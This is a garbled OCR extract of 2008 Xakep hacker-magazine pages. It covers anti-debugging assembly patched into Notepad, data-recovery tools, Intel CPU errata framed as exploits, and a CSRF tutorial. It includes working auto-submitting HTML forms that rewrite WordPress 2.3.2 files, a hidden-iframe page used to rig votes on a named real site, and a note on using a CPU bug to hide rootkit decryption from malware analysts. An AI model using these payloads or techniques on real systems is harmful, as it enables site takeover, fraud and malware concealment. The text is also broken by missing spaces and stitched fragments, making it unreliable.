книги хакеры / журнал хакер / 115_Optimized

Какизвестно,впроцессеотладкипоадресу,находящемусяврегистреFS, записываетсяструктура,необходимаядлякорректнойработыпрограммы. ОназоветсяTEB(ThreadEnvironmentBlock).ОдноизполейTEB,располага-

ющеесяпоадресу FS:[30],называетсяPEB(ProcessEnvironmentBlock)и

содержитуказательнадочернююодноименнуюструктуру.Всвоюочередь, структурасодержитфлаговуюпеременнуюNtGlobalFlag(находящуюся на68байт«ниже»стартовогоадресаструктурыPEB),котораяобычноравна нулю.Еслижепрограммаотлаживается,тоэтапеременнаяпринимает значение,отличноеотнуля.Невдаваясьвтонкости,скажем,чтоненулевое значениеNtGlobalFlagвнашемслучаеоднозначноговоритотом,что процесснаходитсяподотладчиком.Значит,несложныйантиотладочный механизмнаосновеопределениязначенияNtGlobalFlagбудетвыглядетьтак,какописанониже.

1.ПолучаемадресструктурыPEB:

MOV EAX, FS:[30]

2.ПолучаемзначениепеременнойNtGlobalFlag(ононаходитсяпо адресуEAX+68):

MOV EAX, DS:[EAX+68]

3.Сравниваемполученноезначениеснулем:

TEST EAX,EAX

4.Еслизначениеравнонулю,переходимквыполнениюпрограммы(отлад- чикнеобнаружен),иначе—завершаемработупрограммы:

JE выполнение_программы

Применительнокстандартному«блокноту»,кодбудетвыглядетьследующимобразом:

01006AE0 JMP 01007D72 ; переходим к области, заполненной нулями, где разместим наш антиотладочный код

...

01007D7F MOV EAX,DS:[EAX+68]; помещаем в eax значение

к выполнению программы

Теоретически,мымоглибыразместитьсразупослеинструкцииJE 01006AE7 командузавершенияпроцесса.Номынебудемобэтомзаботиться,ведьприобычномзапускепрограммыинструкцияпереходаобязательносработает.Последствиявыполненияслучайногокодапризапуске программыиз-подотладчиканассовершеннонеинтересуют:).

ВеськодзабиваетсяпрямоподотладчикомOllyDbg,какмыэтоделали ираньше,споследующимсохранениемпрограммы(выбираемизменю правойкнопкимышипункт«CopytoexecutableAllmodifications»ив

появившемсяокнеизконтекстногоменю—пункт«Save»;сохраняемфайл). ПопробуйзапуститьполученнуюпрограммуподOllyDbgиоценирезультат работы:).

Блокнот на встроенном защитном коде

№8

Задача: Восстановить утерянные данные с винчестера Решение:

Рабочие данные, компромат на начальника или просто давно забытая фотка могут неожиданно порадовать или огорчить — все зависит от цели восстановления. Нас же интересуют средства ее достижения.

1.Первой под прицел попала GetDataBack(www.runtime.org). Эта утила может работать как с жесткими дисками, flash-накопителями, так и с фай- лами-образами (.img). Удобный интерфейс позволяет выбрать физические и логические диски, задать диапазон сканирования с точностью до сектора. Достоинствами GetDataBack являются приемлемая скорость поиска и возможность его остановки для дальнейшей работы с уже найденными файлами. Ждать полного скана 160 Гб винчестера, все же, утомительное занятие. Окно с выбором файлов для восстановления содержит дерево каталогов и полную статистику по файлам и папкам, оформленную в виде таблицы. Для удобства пользователя — удаленные, скрытые, системные, сжатые и read-only файлы выделены отдельными цветами. Поддерживается поиск по маске имени файла, диапазону дат изменения и диапазону кластеров. Работать с прогой легко и приятно.

2.Ее конкурентом в сфере восстановления данных является EasyRecovery (www.ontrack.com). Пользователю предоставляется ряд тестов (тест аппаратных проблем, SMART-тест и проверка файловой системы), возможность восстановления удаленных и реставрации поврежденных файлов. Фильтр позволяет отделять файлы с плохим размером, датой, именем, просто удаленные — либо с различными комбинациями этих флагов.

3.В отличие от предыдущих утилит,PCInspectorFileRecovery (www.pcinspector.de) наиболее понятно отражает состояние файлов на носителе. В дереве каталогов четко разделяются имеющиеся на данный момент файлы, удаленные и поврежденные, причем прога находит и удаленные папки, подсвечивая их зеленым цветом. Поиск осуществляется по маске имени файла и диапазону кластеров (его физическому расположению).С помощью этих трех прог можно решить проблему восстановления удаленных и поврежденных данных, но стоит иметь в виду, что софт не может творить чудеса. Из-за особенностей носителя не всю информацию возможно восстановить. z

GetDataBack

рах младше, уже снятых с производства, а потому и не тестируемых.

>>Exploit

Исходный текст exploit’а, написанный мной на ассемблерных вставках на MS Visual, C++ ищи на DVD. При выполнении на указанных процессорах с дряхлой версией BIOS’а наступает крах (зависон). Для пе-

реноса exploit’а на Java/JavaScript

необходимо знать особенности Java-транслятора конкретного браузера, а потому готовые решения здесь не приводятся.

>>Solution

ОбновитьпрошивкуBIOS(если производительматеринскойплаты исправилэтотдефектпроцессора

—чтововсенефакт!).

Зеленый цвет процессоров семейства Intel Core (мобильная версия) наводит на мысли о траве

>>Solution

Intelпредлагаеткакрешениена уровнеBIOS’а,такипрограммные «костыли»,требующиемодификации кодавиртуальноймашины.Однако, ниразработчикиVM,ниMicrosoft (сосвоимServer’ом2008,всостав котороговходитвиртуализатор) никакнеотреагировалинаситуацию.Самоесмешное,чтодажесама Intel,выпустившаявиртуализатор VirtualBox(бесплатный,кстати),не сталаправитькод.Такчто...защита намтолькоснится:).

03Intel

Pentium

крахоснов ноймашины

>>Brief

Вконцемарта2008годавпро-

цессореDual-CoreXeon7000был обнаруженмелкий,новесьмапротивныйдефектварварскоготипа, «поджидающий»кристаллвузких переходахмежду64 битнымрежимомосновной(host)операционной системыи32 битнымрежимом гостевойвиртуальноймашины.При задействованномрежимеHyperThreadingпроцессор(пристечении определенныхобстоятельств)с некоторой(впрочем,довольно незначительной)вероятностьюлибо выбрасываетIERR#,либоуходитв глухойзависон,отправляявнебытие нетольковиртуальныемашины,нои основнуюоперационнуюсистему.А вотэтоуженехорошо!Подробности этогоувлекательногокруизасмерти можнонайтивофициальномобновленииспецификаций«Specification Update»:download.intel.com/design/ xeon/specupdt/309627.pdf.

>>Targets

Ошибка в настоящее время обнаружена и подтверждена для Dual-Core Xeon 7000, но нельзя исключать, что ее нет и в других процессорах этого семейства.

>>Exploit

Руками не трогать! Оно и само упадет, со временем. А чтобы помочь упасть, достаточно выполнять больше переходов между 32 разрядной виртуальной гостевой машиной и 64 битной операционной системой. Как? Да очень просто — достаточно, например, создать шторм TCP/IPпакетов, на физическом уровне обрабатываемый сетевой картой основной операционной системы,

а, значит, переключающий контекст выполнения на ее драйвер (для обработки очередного прерывания). Пройдет немного времени и случится глобальный завис!

>>Solution

По утверждению Intel, проблему можно решить на уровне BIOS’а. Фирма разослала ведущим производителям BIOS’ов и материнских плат рекомендации по обходу бага, но что-то те не спешат реагировать. И обновленные прошивки BIOS’а этому дефекту процессора «совершенно перпендикулярны». А отдуваются, как всегда, конечные пользователи.

04Ошибка

#IRETна службе

руткитов

>>Brief

Поздравляем! Intel веников не вяжет! 14 мая 2008 года в новейшем кристалле Core 2 Extreme QX9000

обнаружен древний баг, извест­ ный еще с декабря 2005. Очень красивый, элегантный и чертовски полезный баг. Затрагивает множество процессоров, выпущенных корпорацией Intel за последние несколько лет. Это позволяет использовать его для защиты программного кода от всяких там дизассемблеров, эмулирующих отладчиков и реверсеров, отлаживающих малварь на живых, но слегка устаревших машинах. Но обо всем по порядку! Баг связан с инструкцией IRET, традиционно использующейся в обработчиках аппаратных прерываний. Однако команда может использоваться и на прикладном уровне для передачи управления на кольцо с

идентичным уровнем привилегий. При этом IRETпоследовательно выталкивает из стека регистр EIP, селектор CSи содержимое флагов. Если предварительно сохранить в стеке флаги, текущий CSи указатель на метку label, то мы получим завуалированный аналог jmp label, но только jmp label

распознает любой дизассемблер, а IRET— обламывает ИДУ по самые помидоры. Создавать перекрестные ссылки приходится вручную. Впрочем, это — мелочи. Все самое интересное сидит внутри IRET. Только с виду она кажется простой командой. Даже в x86 процессорах

псевдокод, поясняющий действие IRETи приводимый в мануалах от Intel, занимал несколько страниц (а реальный микрокод — и того больше). Поддержка 64 битного режима усложнила IRETв несколько раз. Во-первых, 64 битный режим требует обязательного выравнивания там, где в x86 процессорах оно было опционально. А теперь вопрос на засыпку: как должен вести себя процессор, если на момент начала выполнения IRETфлаг AC сброшен (контроль выравнивания отключен), стек не выровнен, а в сохраненном значении регистра флагов (который будет извлечен после завершения инструкции IRET) флаг AC взведен?

На это x86 процессоры (и некоторые x86-64) реагируют вполне адекватно, то есть врубают контроль выравнивания после того, как IRETзакончит свою работу. Вполне логично, поскольку с точки зрения программиста все инструкции неделимы и выполняются за одну абстрактную итерацию. Однако, поскольку мы имеем дело с RISC-ядром, выполняющим микрокод, то из-за ошибок в этом самом микрокоде, контроль выравнивания включается во время выполнения инструкции IRET, что приводит к генерации прерывания Alignment Check Exception (#AC). Причем, ошибке подвержена только та часть микрокода IRET, которая отвечает за передачу управления с кольца 3 на кольцо 3. Межкольцевой вызов в обозначенной ситуации исключения не вызывает.

>> Targets

Дефектобнаружениподтвержденвследующихпроцессорах(пристегниремни безопасности,преждечемчитать):Dual-CoreXeonE3110,Dual-CoreXeon3000, Quad-CoreXeon3200,64 bitIntelXeon,Quad-CoreXeon3300,Dual-CoreXeon 5000,Dual-CoreXeon5100,Quad-CoreXeon5300,64 bitXeonMP,Dual-CoreXeon 7000,Dual-CoreXeon7100,Dual-CoreXeon7200,Quad-CoreXeon7300,Core2 ExtremeQX9775,Core2ExtremeQuad-CoreQX6000,Core2QuadQ6000,Core2 ExtremeQX9000,Core2QuadQ9000.Возможно,чтоивнекоторыхдругих:).

>>Exploit

Какэтудыруможноиспользоватьдляатаки?Аникак!Еслипрограммноеобеспечение,используемоежертвой,применяетIRETдляпередачиуправления скольца3накольцо3(азачемемуэтоделать?),даещеработаетсневыров- неннымстекомивыталкиваетврегистрфлаговустановленныйбитAC—оно самоупадет.Intelдаженаблюдалатакоеповедениенанекоторыхпрограммах, правда,несказала,каких.Нопадаеттолько«неправильное»приложение,

аневсясистемацеликом,ичтобывыполнитьIRETнаатакуемоймашине, хакерунужноиметьхотябыминимальныеправадлявыполнениясвоегокода (исполняемогофайлаилиshell-кода).Втакомслучаеуронитьприложение можноибезвсякогоIRET’а.Смысл?Втом,что IRETпередаступравление вовсенетуда,кудаожидалось!Тоесть,мыможемнаписатьоченьхитрыйкод, которыйвдизассемблере(илиподэмулирующимотладчиком)выполняет невинныедействия,авотнаживоймашине(сбагистнымпроцессором)не толькопередаетуправлениенаосновноетело,ноииспользуеткодисключениядляегорасшифровки.Еслиисследовательмалвариневкурсеэтого бага,емупридетсяизряднопопыхтеть.Исходныйкодассемблерногокода, демонстрирующегоэтууязвимость,приведенниже:

>>Solution

А что тут можно сделать? Конечным пользователям — просто расслабиться. Реверсерам малвари — учитывать эту фичу при анализе кода.

Попытка практической реализации proof-of-concept exploit’а поначалу не предвещала никаких неожиданностей. Горизонт был чист, сияло солнце. А между тем, гроза уже висела над моей норой: #AC-исключение не генерировалось! Хоть убей! Чего только я ни делал: курил, точил, долбил, перечитывал errata от Intel столько раз, что выучил наизусть. Под конец даже засомневался в здравости рассудка (своего или инженеров из Intel). И как всегда, виноватой оказалась Microsoft.

Анализ обработчика исключений, сосредоточенного в ядре, показал, что система наглым образом ныкает #AC-исключение, не передавая его на прикладной уровень, и потому — до SEH/VEH-обработчиков оно просто не доходит. Как в анекдоте: «До Штирлица не дошло письмо из Центра». Мои раскопки ядра подтвердились несколькими независимыми источниками. Так, например, Program Manager (не программа, а со-

трудник группы Microsoft Visual C++) по имени Kang Su Gatlin без ложной скромности писал: «On the x86 architecture, the operating system does not make the alignment fault visible to the application» (msdn.microsoft. com/en-us/library/aa290049(VS.71).aspx). Испытал это на своей шкуре хакер Zahical, цитируя мистера Kang Su Gatlin на форуме, где тусуются сишные программисты, причем довольно хорошо и плотно так тусуются: tech-archive.net/Archive/VC/microsoft.public.vc.language/2004-12/0199. html.

Уточним—x86 ядро«зажимает»#AC-исключение,авотчтокасается

Бедный старый MSDN, идущий на диске с MS Visual Studio 6.0, — он по своей наивности считал, что флаг SEM_

NOALIGNMENTFAULTEXCEPT применим только к рискам! и не знал, что через несколько лет та же самая фигня будет и на x86-64

x86-64—всезависитоттого,быллизапущенпроцесссфлагом

SEM_NOALIGNMENTFAULTEXCEPT,переданнымAPI-функции

SetErrorMode().Иеслида,тоисключениевновьбудет«зажиматься».Ксчастью,процесспоумолчаниюстартуетбезэтогофлага,и приведенныйвышеисходныйкодexploit’абудетработать,какчасы. Ладно,оставимx86-64системы.Снимивсеслишкомпросто,даи

неочень-тоониширокораспространены.Вернемсяназадкx86и посмотрим,чтоможносделать.Итак,ядрозажевалоисключениеи намегоникакнеполучить,развечтоспуститьсянаядерныйуровень. Стоп!Аведьэто—шикарныйспособпередачиуправленияядерному модулю!Допустим,унасестьrootkit,устанавливающийдрайвер,с которымвзаимодействуетприкладнойкод.Стандартныйинтерфейс DeviceIoControl()слишкомизвестенислишкомзаметен.А вотеслидрайверперехватываетвектор#AC-исключения(чтона ядерномуровнереализуетсябезпроблем,например,путемпрямого хукатаблицыдескрипторовпрерываний—онажеIDT),тоIRETс

невыровненнымстекомзаставитпроцессорсгенерироватьисключение,подхватываемоенашимдрайвером.Можнодоупадуанализироватьмалварь,новупорневидеть,чтоIRETпередаетуправлениене сring-3наring-3(согласнодокументации),анаring-0.Иуженашему драйверурешать,чтоделатьдальше.Можнопередатьуправление обратнонаring-3поадресу,занесенномувстек,новедьможноине передавать!Илипередавать,нонетуда.Или(какужеговорилось выше)использоватьвекторисключениядлярасшифровкиосталь- ноготелаrootkita.Конечно,ключполучаетсякакой-тобеспонтовыйи неслишкомкриптостойкий,ноздесьглавное—скрытьсамфактрас- шифровки.БлагодаряошибкевЦП,оноченьдажехорошоскрывается.Конечно,кодбудетработатьненакаждомЦП(хотяинамногих), номалварь(вотличиеоткоммерческихпрограмм)этообстоятельство как-нибудьпереживет.Неодинкомпьютербудетзаражен,такдругой. Хорошо, а как быть, если у нас драйвера нет, а писать его в лом? Можно ли обнаружить, что исключение имело место быть? Конечно! Обработка исключений — далеко не самая дешевая операция (в плане процессорных тактов) и, замеряя время выполнения IRET, мы легко установим истинное положение дел. «Правильная» IRET занимает несколько сотен «тиков», легко измеряемых инструкцией RDTSC. А вот скрытая обработка исключения ядром уже тянет на десятки тысяч. Если операция измерения времени выполнения IRET несильно бросается в глаза, то хакер легко запутает реверсеров, анализирующих малварь. И уж точно обойдет всякие эмулирующие отладчики и многие виртуальные машины. Учитывая, что Intel фиксить эту багофичу не собирается, стоит взять ее на вооружение! Тем более — это не единственная дыра в процессорах. Есть и другие. Да там их сотни! Я как раз сейчас нарабатываю фактический материал и готовлю доклад, который (при благоприятном стечении обстоятельств) будет прочитан на хакерской конференции «Hack In The Box Security» в Малайзии в октябре 2008 года. Для желающих посетить мероприятие напоминаю, что Малайзия очень удобна тем, что не требует визы, достаточно одного паспорта: conference.hackinthebox.org.z

xàêåð 07 /115/ 08

kolpeeX

Волк ВоВечьейшкуре

теория

встретить на сайте include-баг — настоящая роскошь. вот и выкручиваются хакеры, придумывают разные техники. одна из таких тех-

ник — cSrF или xSrF (cross-site request Forgery), то есть межсайто-

вые запросы, разновидность Xss/css. сама csrF не нова, но очень актуальна. взломщик заманивает юзера на специальную страницу, которая посылает запрос уязвимому сайту, выполняя на нем какиелибо действия от лица пользователя. уязвимости подвержены вебприложения, которые не проверяют, откуда был передан запрос.

так можно выполнить какие-либо действия от лица авторизованного пользователя, например, админа. действия эти ограничиваются лишь возможностями уязвимого интерфейса — будь то «запостить сообщение» или «сохранить бд в домашнем каталоге».

что? откуда? куда?

рассмотрим баг подробнее. возьмем, к примеру, WordPress версии 2.3.2 (другой версии у меня на винте не оказалось, а качать по мопеду дорого). уязвимость в этой версии WP очень лакомая и, возможно, даже не единственная (другие я искать не стал). таится она во встроенном редакторе файлов. заходим в «админку управление файлы» и видим лакомый <textarea>, а также список чаще всего редактируемых файлов. открываем любой файл и пишем туда какую-либо ерунду. работает? еще бы, кодеры WP знают свое дело.

но про нас они тоже не забывают. открываем index.php и сохраняем страницу браузера. затем — редактируем: удаляем все, кроме формы редактирования. Получается что-то вроде:

<body>

<form name="template" method="post">

<input type="hidden" name="_wpnonce" value="0ae8245664" /> <input type="hidden" name="_wp_http_referer" value="/ wp-admin/templates.php" />

<input type="hidden" name="newcontent" value="здесь код index.php" />

<input type="hidden" name="action" value="update" /> <input type="hidden" name="file" value="index.php" /> <input type='hidden' name='submity' value=' Обновить файл »' tabindex='2' />

</form></body>

немного правим newcontentи <body><form>:

<body onLoad="document.getElementById('templateaa'). submit()">

<form name="template" id="templateaa" action="http:// victim/wp-admin/templates.php" method="post">

Атакованная гостевая книга

И пробуем открыть страничку. что получилось? WP проглотил наш запрос и выдал радостное сообщение «файл успешно отредактирован». При этом он не проверил, что запрос пришел с адреса левого хоста! разберемся, что произошло.

браузер зашел на нашу страницу и выполнил js-скрипт, который имитировал отправку формы. сервер получает запрос с cookie-данными и данными POst-запроса. сначала он проверяет Cookie: сессия есть, пользователь авторизован, доступ к админ-панели имеется. затем — обрабатывает POst-данные, в которых сказано, что нужно в index.php сохранить то-то и то-то.

это и есть XsrF. с помощью нее можно делать потрясающие вещи… самое время перейти к примерам.

практика i — накрутка

создать еще одного админа в системе или отредактировать файл? слишком банально (хотя и будет рассмотрено чуть дальше). нужно придумать чтонибудь более нестандартное...

очень часто на форумах просят за что-либо проголосовать или спрашивают, как накрутить счетчики голосований. если первая просьба частично выполняется, то на вторую чаще дают рекомендации, мол, «напишите скрипт, который будет голосовать. но если там фильтрация по iP, то из этого мало что получится».

в помощь любителям халявы идет великий XsrF. специальную страницу, которая будет голосовать, посетят совершенно разные люди с разными iP-адресами и чистенькими кукисами. каждого такого «пользователя» бажный движок голосования воспримет как настоящего (хотя он и так настоящий) посетителя.

И я решил провести XsrF на каком-либо голосовании. смотри, как я это сделал.

для начала я ввел в гугле запрос «нравится ли вам наш сайт? голосовать» и получил в ответ полтора миллиона страниц. особо не парясь, я перешел по первому линку:

Результаты голосования: Вам нравится наш сайт? cook.denek.net/voting/rate/4.html

вероятно, кулинария не столь популярная в рунете вещь: с 2003 года проголосовало чуть более 250 человек. я собрался исправить это недоразумение. но я обломался, голосовать можно было хоть сто раз, а мне нужно было голосование с защитой от накрутки. вернувшись в гугл, я стал дальше просматривать результаты и нашел то, что нужно:

Голосования — LiDa.in.ua lida.in.ua/prg/vote.html?id=2

отдав свой голос, просмотрел результаты. После второй попытки они уже не менялись. тогда я сохранил страницу с формой голосования на винчестере и немного отредактировал. Получилось следующее:

успешный тест

<body onLoad="document.getElementById('mega_vote'). submit()">

<form action="http://lida.in.ua/prg/get_vote.php" id="mega_vote"ethod="post">

<input type="hidden" name="kod" value="2"> <input type="hidden" name="vote" value="1"> </form>

</body>

Почти тоже, что и предыдущей главе. А чтобы сделать голосование неявным, вынес все это в отдельный файл — vote-lida.in.ua.html. файл index. html содержал iframe на эту страницу:

<html>

<head>

<title>Not work!</title> <style>

body {background: url('homjak.gif')} h1 {background-color: white;} </style>

</head>

<body>

<h1>Not work!</h1> </body>

</html>

<iframe src="/vote-lida.in.ua.html" width="1" height="1"></iframe>

это добро я залил на yandex:

http://kolpeex-hta.narod.ru/

Иотправиллинкпаресвоихконтактов.счетчикувеличилсяна2.значит,все работало.друзьярадыхомячкамнастраничке,ая—работающемуXsrF. результаты можно увидеть по адресу:

http://lida.in.ua/prg/get_vote.php?kod=2

реальнодажевыставить<iframe>напохеканномсайте!тогдаможнонакрутитьвсе, чтоугодно,необращаявниманиянафильтрациюпоiP,ведьсайтбудутпосещать абсолютноразныепосетители.такимжеобразомможнонакручиватьсчетчикина сайтахи«нажимать»нарекламунасобственномсайте.сXsrFдоступномногое!

практика ii — Спам

что такое посещаемый ресурс? это много абсолютно разных независимых посетителей. так почему бы не использовать их в корыстных целях? вспомним, например, для чего используют ботнет — спам и ddos!

внашемслучаеddos—маловероятно,потомучтонужновнедритьсявочень

200701224), увидел в changelog’е php-inj. что уж говорить о таком незаметном баге, как XsrF. сразу же, установив этот билд и пройдя в админ-панель, я отключил пересылку referer и стал прощупывать самые интересные места.

не обошлось тут без создания пользователя из админки и назначения ему высших привилегий :). referer не проверялся, скрытых полей в форме создания не было — сплоит написан

буквально за десять минут. все это хозяйство я залил на narod.ru и стал гуглить сайты,

работающие на runcMs. честно говоря, найти сайт с runcMs гораздо сложнее, чем с Joomla :).

После хитроумного запроса в гугле была выбрана жертва

— runstore.ru.

на этом сайте продают модуль интернет-шопа.

таккаксплоитдействовалтольконаадминов,мненужнобыло бытьуверенным,чтоадминпрочитаетего,будучиавторизованным(либовлс,либочерезспециальнуюформуобратнойсвязи). черезпоследнийспособянатайпиладминусообщение.Истал ждать...ждатьпришлосьотносительнонедолго,всегонесколько часов.сплоитсработалнемногонетак,какожидалось. доступа в админ-панель не было, но ранг оказался «Администратор», к тому же акк был зареган на мыльник billy@microsoft. com. разумеется, я все рассказал настоящему админу ресурса и помог ему кодом. Админ оказался отличным челом, и все оперативно пропатчил.

sOlUtiOn

как защититься? элементарно. нужно всего лишь проверять, с какого Url идет запрос.

для этого достаточно проверить значение заголовка

REFERER.

function validate_referer() { if($_SERVER['REQUEST_METHOD']!=='POST')

return; if(@!empty($_SERVER['HTTP_REFERER'])) {

$ref = parse_url(@$_SERVER['HTTP_ REFERER']);

if($_SERVER['HTTP_ HOST']===$ref['host']) return;

}

die('Invalid request');

}

validate_referer();

Правда, и это не решение. так как в связке с Xss поле referrer будет правильным, — необходимо использовать скрытые поля, которые должны генерироваться случайным образом и, разумеется, проверяться при обработке запроса.

И как об этом не догадываются другие кодеры?